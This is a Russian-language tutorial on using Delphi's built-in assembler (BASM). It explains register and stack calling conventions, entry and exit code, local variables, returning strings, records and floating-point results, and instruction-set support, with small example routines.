Вы любите Дельфи? Я да! Мое имя Гуйдо Гайбелс, и многие годы использую Borland Delphi и искренне верю, что это лучший инструмент на рынке RAD инструментов. Дельфи не только обладает мощью, но также надежностью и высокой скоростью. Язык программирования Object Pascal изумительный, а компилятор просто фантастический. Поскольку Я люблю Дельфи, Я также хочу внести маленький вклад для сообщества Дельфи, путем публикация ряда статей и фрагментов кода на этом сайте. Большое спасибо Бобу Ли (Bob Lee) за размещение на его сайте. Я также буду очень признателен за любые замечания и комментарии по поводу содержимого этих страниц. Вы также можете найти меня в Borland Delphi Newsgroups, другой отличный источник информации по Дельфи.

Вводная глава: Нужно ли это вам?

Многие программисты сегодня ассоциируют ассемблер как сложный, низкоуровневый язык программирования. Они считают его быстрым, но большинство их них думает, что его сложно или невозможно изучить. В действительности, положение не настолько сложно. Вполне возможно научиться писать хороший код, не будучи гением. С другой стороны, не думайте, что несколько уроков позволят вам производить более быстрый код, чем получится с помощью Паскаля. Причина в том, что когда вы пишите на Паскале, то вы на самом деле пользуетесь услугами высокоэффективного программиста – компилятором Дельфи. В целом код производимый им очень эффективный и быстрый. После некоторых уроков по специальным методам кодирования вы сможете сделать более эффективный код, чем Паскаль и Дельфи. Робертом Ли был создан и обслуживается наиболее исчерпывающий сайт по этой теме. Каждый серьезный программист должен познакомиться с информацией на этом сайте.
Большинство программистов считают, что собственный ассемблерный код по определению быстрее, чем скомпилированный компилятором Паскаля. Конечно, так не всегда. Плохо написанные процедуры на Ассемблере могут оказаться по качеству хуже и могут вызвать странные ошибки и проблемы в ваших приложениях. Задачей данных статей не является обучить вас основам Ассемблера. Есть много другой информации в других источниках и конечно вы должны быть в хороших отношениях с системой команд процессоров Intel (в статьях фокус сделан на серию Пентиум, особенно PII и PIII) на уровне обычного программирование. Вы можете найти руководства по семейству процессоров на сайте http://developer.intel.com. И также на сайте (http://webster.cs.ucr.edu/) «The Art of Assembly», очень солидное руководство по программированию на Ассемблере, который должны посмотреть, если хотите заняться серьезным программированием на ассемблере.
В тот момент, когда вы придете к выводу, что ассемблер это нужный вам путь, вы не должны хвататься за него, как за соломинку. Проверьте внимательно свою программу на предмет определения слабых мест. Профилировщик может немного в этом помочь, но лучше обратите особое внимание на структуру и алгоритм. Часто, вы сможете получить лучшие результаты, за счет оптимизации алгоритмов, скорее, чем с помощью ассемблера. С другой стороны, в некоторых особых случаях, таких как манипуляции с битами, ассемблер даст лучший и более простой результат.
Если вы решите, что ассемблер действительно нужен, то потратьте немного времени на планирование вашего кода и алгоритмов. Только после того, как вы будете четко представлять, что вы хотите сделать и как, вы можете приступать к реализации вашей идеи. Если вы не будете об этом думать, то получите кашу из кода, закрученные операторы и трудно управляемую программу.
Для фазы реализации существует несколько обычных правил, которым надо следовать.
Первое важное правило: делайте ваши процедуры как можно короче, ассемблер должен использоваться, только для реально необходимых вещей, в которых важна максимальная производительность. В большинстве случаев делайте это, с помощью простых, но специализированных процедур. Если вы видите, что у вас длинные куски ассемблерного кода в вашем проекте, вы вероятнее всего просто фанат ассемблера.
Второе правило: делайте ваши процедуры читабельными за счет комментирования кода. В связи с линейной структурой ассемблерного кода, каждая отдельная инструкция читается легко сама по себе. Комментарии нужны для объяснения реализации алгоритма, чтобы другие могли понять, что же вы здесь делаете. Не добавляйте комментарии ради самих комментариев. Ваши комментарии должны быть полезны и не избыточны. Например, не делайте подобного:
inc EDX {увеличить значение EDX}
Подобный тип комментариев не имеет смысла, поскольку инструкция говорит сама за себя. Комментарии должны описывать внутреннюю работу алгоритма, не дублируя мнемонику команд.
Третье правило: избегайте использования медленных инструкций. В основном должны использоваться простые инструкции вместо сложных агрегатных инструкций, так как последние реализованы с помощью микрокода. Подробное обсуждение этой темы можно найти в работе Agner Fog на сайте http://www.agner.org/assem/. Попробуйте прочитать это несколько раз, глава за главой, пока полностью не поймете основную идею. Это, однако, не означает, что вы не должны их никогда использовать, но это даст вам понимание написания оптимального кода.
И последнее правило: проверяйте свои ассемблерные подпрограммы особенно тщательно. Для подпрограмм, написанных на ассемблере, компилятор делает намного меньше предупреждений и сообщений об ошибках. Особенно будьте внимательны с логическими конструкциями вашего алгоритма. Неиспользуемые переменные и неверное использование указателей не может быть определено так же просто, как и в коде на Паскале. Так, что готовьтесь к интенсивному тестированию и отладке вашего кода. Это потребует больше времени и усилий по сравнению с отладкой Паскаль-кода. Это одна из причин делать процедуры как можно короче и читабельнее.
После этого вступления, мы готовы приступить к реальному изучению предмета. Эти статьи писались с учетом специфики - это означает, большинство информации относится к BASM (сокращение от built-in assembler – встроенный ассемблер) для всех 32-битных версий Дельфи, начиная с третьей. В основном это верно и для Дельфи 2, но это версия сильно устаревшая. Имеется также некоторые проблемы с утечкой памяти для Дельфи 2, и обычно я рекомендую использовать Дельфи версии 3.02 и выше. Если у вас версия 3,4 или 5, то вся информация в данных статьях применима к ним. Если потребуются специфические требования к версии Дельфи, то это будет особо указано.


Об основах ассемблерных процедур

Глава 1: Об основах ассемблерных процедур

Когда вы захотите добавить хороший и успешный ассемблерный код внутрь проекта на Дельфи, вам потребуется вызвать BASM процедуру, передать в нее переменные и принять обратно результат. Для этого вы должны знать, как работают соглашения о передаче параметров. На первом шаге мы обсудим основное: подпрограммы на ассемблере, получают некоторые переменные для обработки, возвращают впоследствии результаты. Позже, в других главах, мы обсудим, как вызывать другие функции, методы и процедуры из ассемблерного кода с помощью регистров и стека.

1.1. Где размещать ассемблерный код

Ассемблерные инструкции размещаются внутри блока asm...end. Эти блоки могут появляться внутри процедур и функций обычного кода, но я настоятельно не рекомендую поступать таким образом. Гораздо лучше изолировать их в отдельной функции или процедуре. Вставка asm блока внутри обычной процедуры создает сложности для компилятора Паскаля и код становится не эффективным с точки зрения производительности. Переменные, которые обычно передаются через регистры, в этом случае будут передаваться через стек или перезагрузку. Также, это заставляет компилятор адаптировать собственный код к вашему вставленному коду, что делает механизм оптимизации менее эффективным. Так, что это становится правилом помещать ассемблерный код в отдельную процедуру или функцию. Кроме того - это вопрос проектирования. Читабельность и управляемость вашего кода становится выше, если он помещен в свой собственный блок.
Часто, ассемблерный код ассоциируется со скоростью. Поэтому циклы вы также должны по возможности организовывать внутри ассемблерного кода. Это не сложно, а иначе вы просто потеряете множество времени за счет постоянного вызова. Вместо того, чтобы делать так (см. примечание 1):

function CriticalCode(...): ...; register;
asm
...
{Here comes your assembler code}
...
end;

procedure Example;
var
I: Integer;
begin
I:=0;
...
while I < NumberOfTimes do begin
CriticalCode(...);
Inc(I);
end;
...
end;

Вы должны сделать так:

function CriticalCode(...): ...; register;
Asm
...
mov ECX,{NumberOfTimes}
@@loop:
...
{Остальной код}
...
dec ECX
jnz @@loop
...
end;

procedure Example;
begin
...
CriticalCode(...);
...
end;

Использование цикла в обратном направлении позволяет просто проверять флаг установки нуля после команды dec. Если же цикл начинать с нуля, то потребуется больше на одну команду сравнения с конечным значением, каждый раз при проходе цикла.

mov ECX,0
@@loop:
...
inc ECX
cmp ECX,{NumberOfTimes}
jne @@loop

Другая возможность – это вычесть значение NumberOfTimes из 0 и затем увеличивать переменную цикла, пока она не станет равной нулю. Этот метод обычно используется, когда переменная цикла также является индексом в таблице или массиве в памяти, поскольку механизм кэширования работает лучше, чем при доступе в прямом направлении. Это можно сделать так:

xor ECX,ECX
sub ECX,{NumberOfTimes}
@@loop:
...
inc ECX
jnz @@loop

Помните, что в этом случае базовый регистр или адрес, должен указывать на конец массива, вместо его начала.
(1) В данных главах мы специально указываем соглашение о вызове. На самом деле указание register избыточно, так как соглашением по умолчанию является передача параметров через регистры, это сделано исключительно для читабельности (или как дополнительный комментарий) и как напоминание читателю, что параметры передаются через регистры. Этот совет поступил от Christen Fihl, http://HSPascal.Fihl.net

1.2. Код входа/выхода и сохранение регистров

Компилятор автоматически генерирует необходимый код входа и выхода из ассемблерных подпрограмм.
Код входа выглядит так:
push EBP
mov  EBP,ESP
sub  ESP, {Размер стека для локальных переменных}
А код выхода так:
mov ESP,EBP
pop EBP
ret {Размер стека резервированный для параметров}
Однако, если ваша процедура не имеет никаких локальных переменных или параметров на стеке, то компилятор не делает кода входа/выхода, за исключением инструкции ret.
Код входа сначала сохраняет текущее значение регистра EBP на стеке, поскольку его требуется восстановить при выходе. Затем, устанавливает значение EBP, как базу для доступа к параметрам и локальным переменным, которые также размещаются на стеке. Более подробно мы обсудим этот механизм позже.
Код выхода сначала освобождает память, распределенную для локальных переменных, путем подстройки указателя стека, а затем восстанавливает регистр EBP в его предыдущее состояние и производит возврат в вызвавшую программу. Для всех соглашений, исключая cdecl, процедура сама очищает стек, путем соответствующего варианта инструкции ret, Для соглашения cdecl очисткой стека занимается вызвавшая программа. Снова, все это мы рассмотрим подробнее в дальнейшем.
Внутри вашей функции или процедуры, содержимое регистров EAX, ECX, EDX можно полностью изменять и нет необходимости возвращать их в исходное состояние, кроме того, регистр EAX или его часть часто используется для возврата результата. Если вы изменяете, другие регистры общего назначения (EBX, ESI, EDI), то вы обязаны восстановить их первоначальное состояние до выхода из процедуры. То же самое относится и к регистрам ESP и EBP. Вы также не должны никогда изменять содержимое сегментных регистров (ds, es и ss указывают на один и тот же сегмент; cs имеет свое собственное значение; fs используется Windows и gs резервирован).
Регистр ESP указывает на верхушку стека, а EBP указывает на текущий фрейм стека и генерируется по умолчанию компилятором как код входа. Поскольку каждая инструкция pop и push изменяет содержимое регистра ESP, то его использование не является хорошей идеей для доступа к стеку. Для этих целей зарезервирован регистр EBP. Смотрите Таблицу 1, в которой приведено суммарное описание по использованию регистров в Дельфи.
И в дополнение к регистрам, вы также должны сохранять состояние флага направления. При входе в функцию флаг направления сброшен и если вы его изменяете, то вы должны сбросить его до выхода из функции, сделать это можно с помощью инструкции cld.
И наконец, вы также должны очень осторожно относиться к управляющему слову сопроцессора. Поскольку оно позволяет менять режим точности и округления, а также маскировать определенные исключения, то это может драматически изменить результат вычислений в вашей программе. Если у вас возникла нужда в изменении управляющего слова, то постарайтесь восстановить его значение как можно быстрее. Если вы используете типы Comp или Currency, то не уменьшайте точность!

1.3. Передача информации через регистр

При использовании соглашения по умолчанию, передачу через регистры, Дельфи может передавать до двух методов или до трех параметров через регистры процессора. Это означает, что нет необходимости генерировать фрейм стека для передачи параметров. Не все типы могут быть переданы через регистры, а только те, которые помещаются полностью в регистр. Поэтому, многие сложные типы передаются или через стек, или через память, и вместо самих типов передается указатель через регистр. Это означает, что любой тип может быть передан через регистр, как указатель, за исключением указателей методов, которые всегда передаются как два 32-разрядных указателя, размещенных на стеке.
Текущее поколение процессоров, для которых написана данная статья, обычно называются как Intel Pentium процессоры, имеет регистры шириной в 32 бита. Когда передаваемая информация не полностью использует регистр (для типов слово и байт), то используется, только часть регистра, байты используют младшие восемь бит, например al и для слов младшее слово, например ax. Указатели всегда 32-битные (по крайней мере, пока не появятся 64-битные процессоры) и занимают весь регистр полностью, например eax. В случае переменных типа байт и слово оставшаяся часть регистра не определена и вы не должны делать никаких предположений относительно его содержимого. Например, при передаче байта в функцию, через регистр al, остальные 24 бита регистра eax не определены и вы, конечно, не можете рассчитывать на то, что они равны нулю. Вы просто можете использовать инструкцию and для очистки оставшихся бит.
and EAX,$FF {беззнаковый байт в AL, очистка старших 24 бит}
или
and EAX,$FFFF {беззнаковое слово в AX, очистка старших 16 бит}
Когда вы передаете знаковые параметры (ShortInt или SmallInt), вы должны расширить их с учетом знака. Для расширения знака для байтового параметра до двойного слова, вы должны использовать две инструкции:
cbw  {расширение al до ax}
cwde {расширение ax до EAX}
Для демонстрации, напишите следующую тестовую подпрограмму:
function Test(Value: ShortInt ): LongInt; register;
asm

end;
Разместите кнопку и метку на форме и поместите следующий код в обработчик OnClick:
var
I : ShortInt ;
begin
I := -7;
Label1.Caption := IntToStr(Test(I));
end;
Запустите проект и нажмите кнопку. Тестовая процедура принимает параметр типа ShortInt  через al. И возвращает результат типа integer через регистр EAX, который возвращает результат неизменным. Вы можете просто считать, что EAX имеет неизмененное значение при возврате. Теперь изменим функцию следующим образом и запустим проект снова на выполнение:
function Test(Value: ShortInt ): LongInt; register;
asm
cbw
cwde
end;
Единственным соглашением, согласно которому регистры используются для передачи параметров, это соглашение с ключевым словом register, которое также является соглашением по умолчанию. Все другие соглашения используют стек для передачи параметров в функции или процедуры. И конечно, если вы передаете более двух или трех параметров, то стек также используется для передачи оставшихся параметров. В заключение, некоторые параметры всегда передаются через стек - это указатели методов, которые в действительности состоят из двух 32-битных указателей и параметров с плавающей запятой. Обзор можно найти в таблице 2.

1.4. Передача информации через стек

При использовании соглашения по передаче параметров через регистры и передаче более двух указателей метода или трех параметров, остальные передаются через стек. Другие соглашения также используют стек для передачи параметров.
Обычно, для доступа к параметрам на стеке вы должны обращаться к ним через адресацию с помощью регистра EBP. Код входа по умолчанию, который генерирует компилятор, устанавливает регистр EBP на данный фрейм. Таким образом, использование EBP с нужным смещением позволяет иметь доступ к параметрам на стеке и к локальным переменным. Посмотрим на пример с использованием соглашения о вызове pascal.
Данное соглашение помещает параметры слева, направо. Для примера, в следующем объявлении:
function Test(First, Second, Third: Integer): Integer; pascal;
мы имеем три 32-битных параметра типа integer, и каждый параметр помещается на стек следующим образом:
First
Second
Third
ESP ->
Инструкция вызова добавляет адрес возврата на стек, и стек теперь выглядит следующим образом:
First
Second
Third
ESP ->
Return Address
Компилятор автоматически генерирует код входа (см. главу 1.2) для сохранения текущего значения регистра EBP и затем копирует регистр ESP в EBP для доступа к фрейму стека:
First
Second
Third
Return Address
EBP, ESP->
Previous EBP
В данной точке, мы имеем доступ к параметрам на стеке, как смещение относительно регистра EBP. Поскольку адрес возврата находится на стеке между текущей верхушкой стека и действительными параметрами, мы можем получить их следующим образом:
First =   EBP + $10   (EBP + 16)
Second =   EBP + $0C   (EBP + 12)
Third =   EBP + $08   (EBP + 8)
В действительности, вы будете просто ссылаться на них по их именам, компилятор сам рассчитает необходимые смещения самостоятельно. Так, для выше описанного случая, напишите:
mov EAX,First
Компилятор превратит их в следующий код:
mov EAX,[EBP+0x10]
Это избавляет вас от самостоятельного расчета смещений и делает код более читабельным. Так что вы должны использовать имена везде, где только возможно (практически всегда), вместо расчета их вручную смещений.
Данные, переданные через стек, всегда занимают 32 бита, даже если вы передаете байт, оставшиеся биты просто не определены.

1.5. Локальные переменные

Так же как и в обычной процедуре, вы можете использовать локальные переменные для хранения временных значений. Они объявлятся - с помощью директивы var и размещаются на стеке. Компилятор генерирует необходимый код пролога, для резервирования необходимого места на стеке, вместе с параметрами и обеспечивает доступ по имени. Вы помните, что функция объявляется следующим образом:
function Test(First, Second, Third: Integer): Integer; pascal;
Для временного хранения объявим переменную типа integer, для этого сделаем следующее объявление:
var
MyTemp: Integer;
В результате компилятор сгенерирует следующий код и выделит место на стеке. Обратим внимание, что фрейм стека будет выглядеть следующим образом без использования локальных переменных.
First
Second
Third
Return Address
EBP, ESP->
Previous EBP
Для создания места на стеке для локальной переменной MyTemp, компилятор добавляет инструкцию push, теперь стек выглядит следующим образом:
First
Second
Third
Return Address
EBP ->
Previous EBP
ESP ->
? (MyTemp)
Для адресации этих локальных переменных опять же используется смещение относительно регистра EBP. Для примера, переменная MyTemp доступна через EBP-4 (напомню: регистр EBP инициализируется компилятором в коде входа). И еще раз, нет необходимости рассчитывать это смещение вручную, достаточно использовать имя переменной MyTemp:
mov EAX,MyTemp
будет оттранслировано в следующий код:
mov EAX,[EBP-4]
Содержимое переменных не инициализируется при входе, и вы не должны делать никаких предположений об их начальных значениях. Поэтому вы должны сами проинициализировать их до использования:
mov MyTemp,0
Так же, вы должны с осторожностью объявлять и использовать локальные переменные. Они добавляют лишнюю нагрузку по созданию места на стеке и на освобождение при выходе. Еще важно то, что доступ к основной памяти гораздо медленнее, чем доступ к регистрам процессора. Так, что пытайтесь использовать регистры везде, где это возможно, для хранения временных переменных, вместо использования локальных переменных. В обычном коде, при включенной оптимизации, компилятор так же пытается использовать регистры для локальных переменных.

1.6. Возврат информации через регистры процессора

В большинстве случаев (зависит от типа результата), функция возвращает результат через регистры процессора. Напомним, что в отличие от передачи параметров в функцию, где в большинстве соглашений используют стек, для возврата результата, все соглашения используют регистры для допустимых типов!
Таблица 3 содержит обзор о вариантах возврата результатов. В большинстве случаев, результат возвращается через регистр EAX или FP(0). Особый случай, когда в результате возвращается длинная строка или другой тип, возвращаемый через указатель. В случае длинных строк, динамических массивов, больших множеств, вариантов и больших записей, переданных через параметр с директивой var, используется 32-битный указатель на результат. Так, где же хранится действительное содержимое результата (например, длинных строк)? Ответ на это в том, что вы должны выделить место в куче, заполнить его данными, и вернуть указатель на эту область памяти через переменную Result. Заметим, что, для множеств, записей и массивов, которые могут разместиться в регистре, переменная Result возвращает их через регистр. Только для длинных строк, вариантов и множеств, записей и массивов, которые занимают свыше 32 бит, переменная Result возвращает указатель на дополнительный указатель, размещенный функцией, аналогично директиве var параметра (мы рассмотрим директиву параметра var в главе 1.9).
Не беспокойтесь, если что-то сейчас не понятно, позже мы рассмотрим эти типы подробнее.
Теперь поясним это на примере. Функция PlusMinusLine возвращает длинную строку, состоящую из последовательности плюсов и минусов, для формирования строки. Например, когда вы напишите так S:=PlusMinusLine(9), то S должна получить значение: "-+-+-+-+-".
Декларация функции следующая:
function PlusMinusLine(L: Integer): AnsiString; register;
Функция принимает один параметр: длину строки символов (L). Поскольку мы используем соглашение по умолчанию, то параметр передается через регистр EAX. Функция должна вернуть длинную строку, Что в действительности означает указатель на область памяти, содержащей нашу строку. Вы можете использовать переменную Result для обращения к этой области, но поскольку ее поведение аналогично var, то в этом случае @Result эквивалентно регистру EDX (второй параметр отдельной функции передается через регистр EDX, при использования соглашения register)! Подробности мы рассмотрим в главе 1.9. EDX не содержит самого указателя, но указатель на область памяти для этого указателя! Тем не менее, пока еще не распределена память для нашей длинной строки. Будем использовать функцию NewAnsiString из модуля system для размещения памяти в куче и установке длины строки. Функция NewAnsiString устанавливает длину новой строки, которая передается через регистр EAX и возвращает адрес этой строки в том же регистре. Если же мы не вызовем функцию NewAnsiString (или другую функцию или процедуру, которая выделит память в куче для нашей длинной строки), то переменная Result не будет содержать действительного указателя и мы можем получить ошибку доступа (access violation) если попытаемся использовать его.
function PlusMinusLine(L: Integer): AnsiString; register;
asm
push EDI
push ESI
push EBX
mov ESI,EDX {Указатель памяти на Result}
mov EBX,EAX {EBX хранит длину параметра}
call System.@NewAnsiString
mov EDI,EAX {EDI используется для заполнения строки}
mov [ESI],EDI
mov ECX,EBX
shr ECX,2 {обрабатываем по 4 байта за раз}
test ECX,ECX
jz @@remain
mov EAX,'+-+-'
@@loop:
mov [EDI],EAX
add EDI,4
dec ECX
jnz @@loop
@@remain: {заполняем оставшие байты, если length/4 не ноль}
mov ECX,EBX
and ECX,3
jz @@ending
mov EAX,'+-+-'
@@loop2:
mov BYTE PTR [EDI],al
shr EAX,8
inc EDI
dec ECX
jnz @@loop2
@@ending:
mov EAX,ESI {для совместимости: возврат указателя через EAX}
pop EBX
pop ESI
pop EDI
end;
Для облегчения понимания, данного примера пришлось пожертвовать некоторой эффективностью. Для ускорения за раз одновременно обрабатывается по 4 байта для заполнения строки. Тем не менее, можно сделать еще быстрее, если использовать указатель в EDI на конец строки и использовать отрицательный счетчик в ECX, постепенно увеличивая его до нуля и используя его как индекс ([EDI+ECX*4]), что также сделало бы не нужным увеличение регистра EDI после каждой итерации. Это прекрасный повод для читателя переписать эту функцию данным образом и сравнить результаты выполнения. Также, может быть, вы захотите уменьшить количество циклов для еще большей эффективности. Например, обрабатывать по 8 байт за каждую итерацию, уменьшив этим количество переходов.
Как видим, возврат информации через регистры не всегда самый простой путь, особенно для структурных переменных типа длинных строк.

1.7. Возврат информации через стек процессора

Даже если на первый взгляд кажется странным возвращать результат через стек, в некоторых случаях это единственный путь для возврата результата. Например, если результат не помещается в регистр или не помещается на стек сопроцессора. Вы должны думать об коротких строках, записях и множествах, которые не помещаются в регистр. Но мы не говорим о таких типах данных, которые возвращаются, как указатель на результат и не говорим о результатах, передаваемые как var параметр. В предыдущей главе, мы уже обсуждали эти принципы. Тем не менее, когда размер результата не известен заранее, как для длинных строк до их создания, некоторые типы занимают фиксированное количество байт в памяти, и место для их размещения может быть выделено компилятором еще до вызова функции. Это то, что в действительности применимо для записей, статических массивов и больших множеств, также и для коротких строк.
Допустим, что у нас есть запись TMyRecord, объявленная следующим образом:
type
TMyRecord = record
A: Integer;
B: Double;
C: Integer;
end;
Компилятор знает, что эта запись занимает 16 байт в памяти. Поэтому, мы можем объявить функцию, которая возвращает запись как результат, объявление будет выглядеть так:
function MyFunction(I: Integer): TMyRecord; register;
Как отмечено в главе 1.6, переменная Result передается в функцию как дополнительный var параметр. Поэтому регистр EDX хранит указатель на результат. Но в отличие от примера с AnsiString, память для результата уже выделена компилятором до входа в функцию, если быть точным, то на стеке. Поэтому нам не нужно самостоятельно выделять память в куче. Достаточно заполнить эту память, которую компилятор резервировал для этой цели. Надо быть только острожным и не выйти за пределы отведенной памяти! Если же это произойдет, то будет разрушен стек и как результат - повисание программы или ошибка доступа (access violation).
В связи с тем, что память уже выделена компилятором, и регистр EDX содержит указатель на эту память (в действительности это стековая память), мы можем просто использовать регистр EDX для заполнения результата:
mov [EDX],EAX
Мы заполнили первое двойное слово (член записи A) содержимым регистра EAX. Заметим, что в данном случае мы не заботились о расчете смещения, относительно регистра EDX, для доступа к нужному члену записи. Но вы должны все-таки написать так, чтобы позволить компилятору сделать эту работу за вас:
mov [Result].A,EAX
Это то же самое, что и выше, но компилятор знает, что Result - это указатель, хранящийся в регистре EDX, и вы можете использовать более ясную точечную нотацию для адресации членов записи. Компилятор сам рассчитает смещение. Строго рекомендуется использовать именно точечную нотацию везде, где только возможно.

1.8. Возврат информации через стек сопроцессора

Функции, которые возвращают результат с плавающей запятой, просто должны возвращать результат в ST(0). Ниже вы найдете пример. Помните, что сопроцессор обрабатывает внутри все числа, как 10-байтные расширенные числа. Указывая формат результата (single, double, extended, comp, currency, и т.д.) мы только указываем, как число будет записано в ST(0) и затем в память. В примере функции CalcRelatMass показано это. Передаются два параметра, масса и скорость тела и производится расчет относительной массы, согласно теории относительности. Оба параметра: масса (m) и скорость (v), передаются в функцию как double, результат так же возвращается как double.
function CalcRelatMass(m,v: Double): Double; register;
const
LightVelocity: Integer = 299792500;
asm
{Расчет относительной массы по следующей фформуле:
Result = m / Sqrt(1-vІ/cІ), где c = скорость света,
m масса и v скорость движения объекта}

fild LightVelocity
fild LightVelocity
fmulp {расчет cІ}
fld v
fld v
fmulp {расчет vІ}
fxch
fdivp {vІ/cІ}
fld1
fxch
fsubp {ST(0)=1-(vІ/cІ)}
fsqrt {корень ST(0)}
fld m
fxch
fdivp {деление массы на корень результата}
end;
Оба параметра, m и v, передаются в функцию через стек. Поскольку они типа double, то они занимают по 8 байт стека, который выглядит следующим образом:
EBP+0x10 m
EBP+0x08 v
EBP+0x04 адрес возврата
EBP -> предыдущий EBP
Вы никогда не должны забывать, что внутри сопроцессора они обрабатываются как 10-байтные числа с плавающей запятой. Результат остается в ST(0) (верхушка стека математического сопроцессора). Это извлекается кодом, который вызвал функцию.
Вы можете изменять точность и режим округления вычислений путем изменения контрольного слова процессора. Хотя вы точно знаете, что делаете, но это не поощряется, поскольку смена контрольного слова влияет на все вычисления для всего вашего приложения. Проблему обостряет то, что некоторые DLL также изменяют контрольное слово. Это иногда может привести к непредсказуемым результатам или различным результатам в зависимости от Операционной Системы, на которой запускается программа или в зависимости от того, какие версии DLL реально используются. Как заметил Robert Lee в одном из сообщений в группе новостей, вы должны особенно избегать этого, путем загрузки контрольного слова из глобальной переменной Default8087CW (объявлена в модуле System) до выполнения важных процедур.
Так же очень важно полное понимание природы чисел с плавающей запятой при использовании их внутри вашего кода. Я написал отдельную статью, в которой обсуждается основы. Статья доступна на моих страницах по Дельфи на сайте http://www.optimalcode.com/Guido/fpv.html.

1.9. Передача параметров по зничению и ссылке

Имеется огромная разница между передачей параметров по значению и по ссылке (через директиву var). Например, следующее объявление функции:
function MyFunction(I: Integer): Integer; register;
Значение параметра I будет передано через регистр EAX (см. таблицу 2 для обзора, как параметры разного типа передаются в функцию/процедуру). Например, когда I=254, EAX подобен $000000FE. Но следующее объявление:
function MyFunction(var I: Integer): Integer; register;
передаст не значение I (254 в нашем примере), а указатель на местонахождение, где переменная I записана в памяти (например, $0066F8BC) и этот указатель будет помещен в регистр EAX! При передаче параметра с помощью ключевого слова var, вы всегда передаете 32-битный указатель на переменную (который естественно помещается в регистр соглашения register).
Посмотрим на простой пример: допустим, мы желаем, чтобы наша функция вернула сумму целочисленного числа и 12 (Конечно, это очень бессмысленный пример, он нужен просто для демонстрации), передадим параметр по значению (функция вернет результат в регистре EAX):
function MyFunction(I: Integer): Integer; register;
asm
add EAX,12
end;
В случае же передачи по ссылке, мы должны написать так:
function MyFunction(var I: Integer): Integer; register;
asm
mov EAX,[EAX] {Загрузить значение параметра I через указатель}
add EAX,12
end;
При использовании директивы const правила те же, как для переменных, передаваемых по значению. Например, для объявления:
function MyFunction(const I: Integer): Integer; register;
Регистр EAX будет содержать значение I, а не указатель.
Как мы обсуждали в главе 1.6, длинные строки, динамические массивы, варианты, большие множества и записи возвращаются с помощью дополнительного var параметра. Позже, в других главах, мы обсудим эти типы более детально.


Замечания о синтаксисе

Глава 2: Замечания о синтаксисе

В этой главе, мы рассмотрим синтаксические требования, которые вам требуется знать. Если вы использовали отдельный ассемблер, то вы заметили, что встроенный ассемблер в Дельфи 1-5 поддерживает только относительно небольшой набор возможностей языка. Эта ситуация была улучшена с выходом Дельфи 6, теперь компилятор распознает набор MMX, SIMD и SSE инструкций (так же и Enhanced 3D для AMD CPU, но данная статья сфокусирована только на Intel, и мы не будем обсуждать это в дальнейшем). С другой стороны, это также дает возможность использовать некоторые OP конструкции внутри ассемблерного кода.

2.1. Инструкции и команды

Ваш код на ассемблере состоит из нескольких выражений. Каждая инструкция состоит как минимум из одной команды. В большинстве случаев, вам потребуется использовать от одного до нескольких операндов. Операнды разделяются символом запятой. Также в инструкции могут использоваться префиксы (например, rep или lock). Наконец, инструкция может включать метку (смотрите ниже рассуждения о метках).
Примеры допустимых инструкций:
cdq {только команда}
bswap EAX {команда и один операнд}
mov EAX,[ESI] {команда и два операнда}
imul EAX,ECX,16 {команда и триа операнда}
rep movsd {префикс и коаднда }
@@Start: rep stosd {локальная метка, префикс и команда }
Разрешено помещать несколько инструкций в одной строке, разделяя их точкой с запятой, Но я настоятельно не рекомендую так делать. Это сильно снижает читабельность вашей программы, и не добавляет при этом никакой эффективности, повышения скорости или каких-либо других преимуществ. При использовании по одной инструкции в строке не требуется ставить точку с запятой в конце строки (как это требуется для обычного Паскаль кода).
Комментарии могут быть добавлены в конце строки, но не могут размещаться внутри инструкции.

2.2. Набор команд

Встроенный ассемблер Дельфи 2-5 поддерживает только подмножество команд процессора Intel 80486 (документация по Дельфи 3 вообще утверждает, что только 80386, но дополнительные инструкции процессора 80486, например bswap, xadd, cmpxchg, fstsw ax, и другие в действительности распознаются и обрабатываются корректно). Тем не менее, специфические команды Pentium, например cpuid или условные перемещения из Pentium Pro, PII и PIII, не распознаются встроенным ассемблером в этих версиях. В Дельфи 6, поддержан полный набор команд от Pentium I до IV. Включая специальные расширения MMX, SSE и другие. Это действительно серьезное улучшение, поскольку в более ранних версиях приходилось их кодировать вручную с помощью инструкций db (см. ниже). Это было довольно неприятно, так как эти инструкции особо интересны для специальных случаев.
Если вы желали использовать эти инструкции в Д2-Д5, то должны были вставлять их вручную с помощью серии инструкций db. Ясно, что вы не только должны были быть очень осторожны при вставке их в код, избегая ошибок, но и также особо комментировать эти строки. Со следующей ссылки вы можете загрузить .pas, который содержит исходный текст класса TCPUID, в котором интенсивно используется ассемблер, и в котором инструкция cpuid закодирована с помощью инструкций db. Нажмите здесь для загрузки cpuinfo.pas с сайта автора или с текущего каталога в формате cpuinfo.zip.
Вы должны проштудировать исходный код cpuinfo.pas, обратив особое внимание на функцию GetCPUIDResult, которая написана полностью на basm. Программа вызывает cpuid для различных уровней ID, которые поддержаны и заполняет запись типа TCPUIDResult полученной информацией. Данный тип записи используется в методах класса TCPUID. Заметим, что все поля записи TCPUIDResult адресуются через их имена, вместо расчета смещения. Компилятор сам рассчитывает смещение, так что если структура записи будет изменена, то код будет продолжать работать корректно.
Заметим, что команда cpuid уничтожает содержимое всех нормальных регистров, так что требуется особая осторожность при работе с ними. При этом так же сбрасываются все конвейеры, и ожидается окончание работы всех оставшихся инструкций, поэтому вы не должны использовать это в критических ситуациях. После выполнения инструкции cpuid, все нормальные регистры, включая EAX и другие, будут изменены.
Полное описание набора команд процессоров можно найти на сайте фирмы Intel http://developer.intel.com. Как я заметил во введении, данная статья посвящена только процессорам фирмы Intel не только, поскольку они самые распространенные, но и потому что они являются стандартом де-факто для набора команд процессора и сопроцессора. Некоторые другие производители имеют в составе своих процессоров дополнительные команды, но поскольку они присутствуют только в их процессорах, вы не должны пытаться их использовать, чтобы ваши приложения могли работать на более широком спектре систем. Другим решением является иметь различные варианты критичных по времени кусков кода, оптимизированные для различных процессоров. В начале вашей программы вы должны проверить тип процессора и установить глобальный флаг, который будет указывать, какую версию использовать.
